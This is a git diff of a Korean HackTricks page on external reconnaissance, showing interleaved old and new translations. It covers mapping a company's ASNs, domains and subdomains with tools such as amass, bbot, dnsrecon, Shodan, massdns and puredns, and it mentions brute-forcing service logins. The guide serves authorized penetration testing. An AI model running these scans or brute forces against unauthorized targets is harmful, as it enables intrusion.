* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 팁을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**입니다! (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**! (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,27 +24,27 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
> 어떤 회사에 속한 모든 것이 범위 내에 있다고 말받았고, 실제로 이 회사가 무엇을 소유하고 있는지 알고 싶습니다.
|
||||
|
||||
이 단계의 목표는 **주요 회사가 소유한 회사** 및 이러한 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
|
||||
이 단계의 목표는 **주요 회사가 소유한 회사** 및 해당 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 다음을 수행할 것입니다:
|
||||
|
||||
1. 주요 회사의 인수를 찾아내어, 이를 통해 범위 내에 있는 회사를 얻을 것입니다.
|
||||
2. 각 회사의 **ASN**을 찾아, 각 회사가 소유한 **IP 범위**를 얻을 것입니다.
|
||||
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 검색할 것입니다 (이는 재귀적으로 수행할 수 있음).
|
||||
4. 다른 기술(예: shodan `org` 및 `ssl` 필터)을 사용하여 다른 자산을 검색할 것입니다 (`ssl` 트릭은 재귀적으로 수행할 수 있음).
|
||||
1. 주요 회사의 인수를 찾아 해당 범위 내의 회사를 얻습니다.
|
||||
2. 각 회사의 **ASN(있는 경우)**을 찾아 해당 회사가 소유한 IP 범위를 얻습니다.
|
||||
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 검색합니다(이를 재귀적으로 수행할 수 있음).
|
||||
4. 다른 기술(예: shodan `org` 및 `ssl` 필터)을 사용하여 다른 자산을 검색합니다(`ssl` 트릭은 재귀적으로 수행할 수 있음).
|
||||
|
||||
### **인수**
|
||||
|
||||
우선, **주요 회사가 소유한 다른 회사**를 알아야 합니다.\
|
||||
[https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 검색하고 "**인수**"를 클릭하는 것이 하나의 옵션입니다. 거기서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
|
||||
[https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 **클릭**합니다. 거기에서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
|
||||
다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하고 **인수**를 검색하는 것입니다.
|
||||
|
||||
> 이 시점에서 범위 내에 있는 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
|
||||
> 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 기관(IANA)**에 의해 **자율 시스템(AS)**에 할당된 **고유한 번호**입니다.\
|
||||
**AS**는 외부 네트워크에 액세스하기 위한 명확히 정의된 정책을 가진 **IP 주소 블록**으로 구성되며 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
|
||||
|
||||
**회사가 할당한 ASN**을 찾아 해당 **IP 범위**를 찾는 것이 흥미로울 수 있습니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 이러한 IP 내의 도메인을 찾는 것이 유용할 것입니다.\
|
||||
**회사가 할당한 ASN이 있는지** 찾아 해당 **IP 범위를** 찾는 것이 흥미로울 것입니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 해당 IP 내의 도메인을 찾아보세요.\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP**, 또는 **도메인**으로 검색할 수 있습니다.\
|
||||
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다.
|
||||
```bash
|
||||
|
@ -52,7 +52,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**은** 하위 도메인 열거를 자동으로 수행하며 스캔 종료 시 ASNs를 집계 및 요약합니다.
|
||||
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)의 하위 도메인 열거는 스캔 마지막에 ASNs를 자동으로 집계 및 요약합니다.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -69,23 +69,26 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
조직의 IP 범위를 찾을 수도 있습니다. 또한 [http://asnlookup.com/](http://asnlookup.com) (무료 API 포함)를 사용할 수도 있습니다. 도메인의 IP 및 ASN을 찾을 수도 있습니다. [http://ipv4info.com/](http://ipv4info.com).
|
||||
조직의 IP 범위를 찾을 수도 있습니다. [http://asnlookup.com/](http://asnlookup.com) (무료 API 제공).\
|
||||
도메인의 IP 및 ASN을 찾을 수 있습니다. [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
이 시점에서 **범위 내의 모든 자산을 알고 있습니다**. 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다. 또한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 살펴보아야 합니다. **또한, 기본 사용자 이름과 암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.**
|
||||
이 시점에서 **범위 내의 모든 자산을 알고 있으므로**, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
|
||||
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 확인해야 합니다.\
|
||||
**또한, 기본 사용자 이름** 및 **암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.
|
||||
|
||||
## 도메인
|
||||
|
||||
> 우리는 범위 내의 모든 회사와 그 자산을 알고 있습니다. 이제 범위 내의 도메인을 찾아야 합니다.
|
||||
> 범위 내의 모든 회사와 그 자산을 알고 있으므로, 범위 내의 도메인을 찾는 시간입니다.
|
||||
|
||||
_다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도 있으며 이 정보를 과소평가해서는 안 됩니다._
|
||||
_다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도 있으며, 이 정보를 과소평가해서는 안 됩니다._
|
||||
|
||||
먼저 각 회사의 **주요 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역 DNS 조회**를 수행하여 **범위 내의 더 많은 도메인을 찾아보세요**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보세요.
|
||||
도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역 DNS 조회**를 시도하여 범위 내의 더 많은 도메인을 찾을 수 있습니다. 피해자의 DNS 서버 또는 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보세요.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -94,7 +97,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
```
|
||||
### **역 Whois (루프)**
|
||||
|
||||
**Whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 해당 필드 중 하나로 **역 Whois 조회를 수행**하면 됩니다(예: 동일한 이메일이 나타나는 다른 whois 레지스트리).\
|
||||
**Whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 해당 필드 중 하나로 **역 Whois 조회를 수행**하면(예: 동일한 이메일이 나타나는 다른 whois 레지스트리) 회사와 관련된 더 많은 자산을 찾을 수 있습니다.\
|
||||
다음과 같은 온라인 도구를 사용할 수 있습니다:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료**
|
||||
|
@ -113,9 +116,9 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
### **트래커**
|
||||
|
||||
2개의 다른 페이지에서 **동일한 트래커의 동일한 ID**를 찾으면 **두 페이지가 동일한 팀에 의해 관리된다고 가정**할 수 있습니다.\
|
||||
예를 들어, 여러 페이지에서 **동일한 Google Analytics ID** 또는 **동일한 Adsense ID**를 볼 때입니다.
|
||||
예를 들어, 여러 페이지에서 동일한 **Google Analytics ID** 또는 동일한 **Adsense ID**를 볼 때입니다.
|
||||
|
||||
이러한 트래커 및 기타 정보로 검색할 수 있는 몇 가지 페이지 및 도구가 있습니다:
|
||||
이러한 트래커 및 기타 정보로 검색할 수 있는 페이지 및 도구가 있습니다:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -134,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
간단히 말해서, favihash를 사용하면 대상과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있습니다.
|
||||
|
||||
또한, [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수** 있습니다.
|
||||
또한 [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수** 있습니다:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -153,42 +156,44 @@ return fhash
|
|||
```
|
||||
### **저작권 / 고유 문자열**
|
||||
|
||||
동일 조직 내 다른 웹 사이트에서 공유될 수 있는 **문자열을 웹 페이지 내에서 검색**합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 해당 문자열을 **Google**, 다른 **브라우저** 또는 심지어 **Shodan**에서 검색합니다: `shodan search http.html:"Copyright string"`
|
||||
동일 조직 내 다른 웹 사이트 간에 공유될 수 있는 **문자열을 웹 페이지 내에서 검색**합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 해당 문자열을 **Google**, 다른 **브라우저** 또는 심지어 **Shodan**에서 검색합니다: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT 시간**
|
||||
|
||||
다음과 같은 cron 작업이 있는 것이 일반적입니다.
|
||||
다음과 같은 cron 작업이 있는 것이 일반적입니다:
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### 외 passvie Takeover
|
||||
|
||||
클라우드 제공업체에 속하는 IP에 하위 도메인을 할당하는 것이 일반적이며 어느 시점에서는 해당 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 경우가 있습니다. 따라서 클라우드(예: Digital Ocean)에서 VM을 생성하면 실제로 일부 하위 도메인을 **인수**할 수 있습니다.
|
||||
클라우드 제공업체에 속하는 IP에 하위 도메인을 할당하는 것이 일반적이며 어느 순간에는 해당 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊을 수 있습니다. 따라서 클라우드(예: Digital Ocean)에서 VM을 생성하면 실제로 일부 하위 도메인을 **인수**할 수 있습니다.
|
||||
|
||||
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 내용을 설명하고 **DigitalOcean에서 VM을 생성**하고 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색**하는 스크립트를 제안합니다.
|
||||
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성**하고 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색**하는 스크립트를 제안합니다.
|
||||
|
||||
### **기타 방법**
|
||||
|
||||
**샤돈**
|
||||
**새로운 도메인을 발견할 때마다이 기술을 사용하여 더 많은 도메인 이름을 발견할 수 있다는 점을 유의하십시오.**
|
||||
|
||||
이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. 이 데이터를 사용하여 샤돈에서 `org:"Tesla, Inc."`를 사용하여 검색할 수 있습니다. TLS 인증서에서 새로운 예상치 못한 도메인을 찾으십시오.
|
||||
**Shodan**
|
||||
|
||||
주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음, 해당 이름을 사용하여 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 검색하십시오. 필터 : `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
|
||||
이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. 이 데이터를 사용하여 shodan에서 다음과 같이 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예상치 못한 도메인을 찾으십시오.
|
||||
|
||||
주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 해당 이름을 검색하십시오. 필터 : `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)는 주요 도메인과 해당 **하위 도메인**과 관련된 **도메인을 찾는 도구**로 매우 놀라운 도구입니다.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)는 주요 도메인과 해당 **하위 도메인**을 찾는 도구로 매우 놀라운 기능을 제공합니다.
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
[도메인 인수](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하십시오. 어떤 회사가 **도메인을 사용**하지만 **소유권을 잃었을 수도** 있습니다. 저렴하다면 등록하고 해당 회사에 알려주십시오.
|
||||
[도메인 인수](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하십시오. 어떤 회사가 **도메인을 사용**하지만 **소유권을 잃었을 수도** 있습니다. 저렴하다면 등록하고 해당 회사에 알리십시오.
|
||||
|
||||
자산 발견에서 찾은 IP와 다른 **IP가 있는 도메인**을 찾으면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\
|
||||
_도메인이 때로는 클라이언트가 제어하지 않는 IP 내에 호스팅되므로 범위에 포함되지 않을 수 있습니다. 주의하세요._
|
||||
자산 발견에서 이미 찾은 자산과 다른 IP를 가진 도메인을 찾으면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다.**\
|
||||
_도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는 경우가 있으므로 이는 범위에 포함되지 않을 수 있으니 주의하십시오._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**버그 바운티 팁**: 해커들이 만든 프리미엄 **버그 바운티 플랫폼**인 **Intigriti**에 **가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 함께하여 최대 **$100,000**의 바운티를 받으세요!
|
||||
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼** Intigriti에 가입하십시오! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**까지 보상을 받으십시오!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -206,7 +211,7 @@ dnsrecon -a -d tesla.com
|
|||
```
|
||||
### **OSINT**
|
||||
|
||||
많은 하위 도메인을 빠르게 얻는 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 얻으려면 API 키를 구성하세요):
|
||||
다량의 하위 도메인을 얻는 가장 빠른 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 위해 API 키를 구성하세요):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -317,18 +322,18 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/)은 서브도메인 및 IP 기록을 검색하기 위한 무료 API를 제공합니다.
|
||||
* [**securitytrails.com**](https://securitytrails.com/)은 하위 도메인 및 IP 기록을 검색하기 위한 무료 API를 제공합니다.
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
이 프로젝트는 **버그-바운티 프로그램과 관련된 모든 서브도메인을 무료로 제공**합니다. 이 데이터에 접근하려면 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하거나 이 프로젝트에서 사용하는 범위에도 접근할 수 있습니다. [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 하위 도메인을 무료로 제공**합니다. 이 데이터에 접근하려면 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하거나 이 프로젝트에서 사용하는 범위에도 접근할 수 있습니다. [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
여러 이러한 도구들의 **비교**를 여기에서 찾을 수 있습니다: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS 브루트 포스**
|
||||
|
||||
가능한 서브도메인 이름을 사용하여 DNS 서버를 브루트 포싱하여 새로운 **서브도메인**을 찾아봅시다.
|
||||
가능한 하위 도메인 이름을 사용하여 DNS 서버를 브루트 포스하여 새로운 **하위 도메인**을 찾아보겠습니다.
|
||||
|
||||
이 작업을 위해 몇 가지 **일반적인 서브도메인 워드리스트가 필요**합니다:
|
||||
이 작업을 위해 몇 가지 **일반 하위 도메인 워드리스트가 필요**합니다:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -340,25 +345,25 @@ python3 DomainTrail.py -d example.com
|
|||
|
||||
DNS 브루트 포스에 가장 권장되는 도구들은 다음과 같습니다:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): 이 도구는 효과적인 DNS 브루트 포스를 수행한 최초의 도구였습니다. 매우 빠르지만 잘못된 양성 결과에 취약합니다.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): 이 도구는 효과적인 DNS 브루트 포스를 수행한 최초의 도구였습니다. 매우 빠르지만 잘못된 양성 결과가 발생할 수 있습니다.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 리졸버만 사용하는 것 같습니다.
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 리졸버를 사용하는 것 같습니다.
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싼 것으로, 유효한 하위 도메인을 활성 브루트 포스를 사용하여 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 하위 도메인을 해결할 수 있습니다.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싼 것으로, 유효한 서브도메인을 활성 브루트포스를 사용하여 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 서브도메인을 해결할 수 있습니다.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): `massdns`도 사용합니다.
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): 또한 `massdns`를 사용합니다.
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입하는 데 사용됩니다.
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입하는 도구입니다.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
|
@ -371,7 +376,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): 주어진 도메인 및 서브도메인에서 순열을 생성합니다.
|
||||
* goaltdns 순열 **워드리스트**는 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
* goaltdns 순열 **wordlist**를 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -394,19 +399,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
|||
|
||||
#### 스마트 순열 생성
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 참조하십시오. 그러나 기본적으로 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾을 것입니다.
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 자세한 정보는 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 참조하십시오. 이 도구는 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾습니다.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_은 서브도메인 브루트포스 퍼저로, 극도로 간단하지만 효과적인 DNS 응답 안내 알고리즘과 결합되어 있습니다. 사용자 지정 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_은 서브도메인 브루트포스 퍼저로, 굉장히 간단하지만 효과적인 DNS 응답 가이드 알고리즘과 결합되어 있습니다. 사용자 지정 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **서브도메인 발견 워크플로우**
|
||||
|
||||
도메인에서 **Trickest 워크플로우**를 사용하여 **서브도메인 발견을 자동화**하는 방법에 대해 작성한 블로그 포스트를 확인해보세요. 이를 통해 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다:
|
||||
도메인에서 **서브도메인 발견을 자동화**하는 방법에 대해 작성한 블로그 포스트를 확인하세요. **Trickest workflows**를 사용하여 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -414,11 +419,11 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / 가상 호스트**
|
||||
|
||||
하나 이상의 웹 페이지를 포함하는 IP 주소를 발견했다면, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. 이를 위해 **OSINT 소스**에서 IP의 도메인을 찾거나 해당 IP에서 **VHost 도메인 이름을 무차별 대입**하여 다른 서브도메인을 찾아볼 수 있습니다.
|
||||
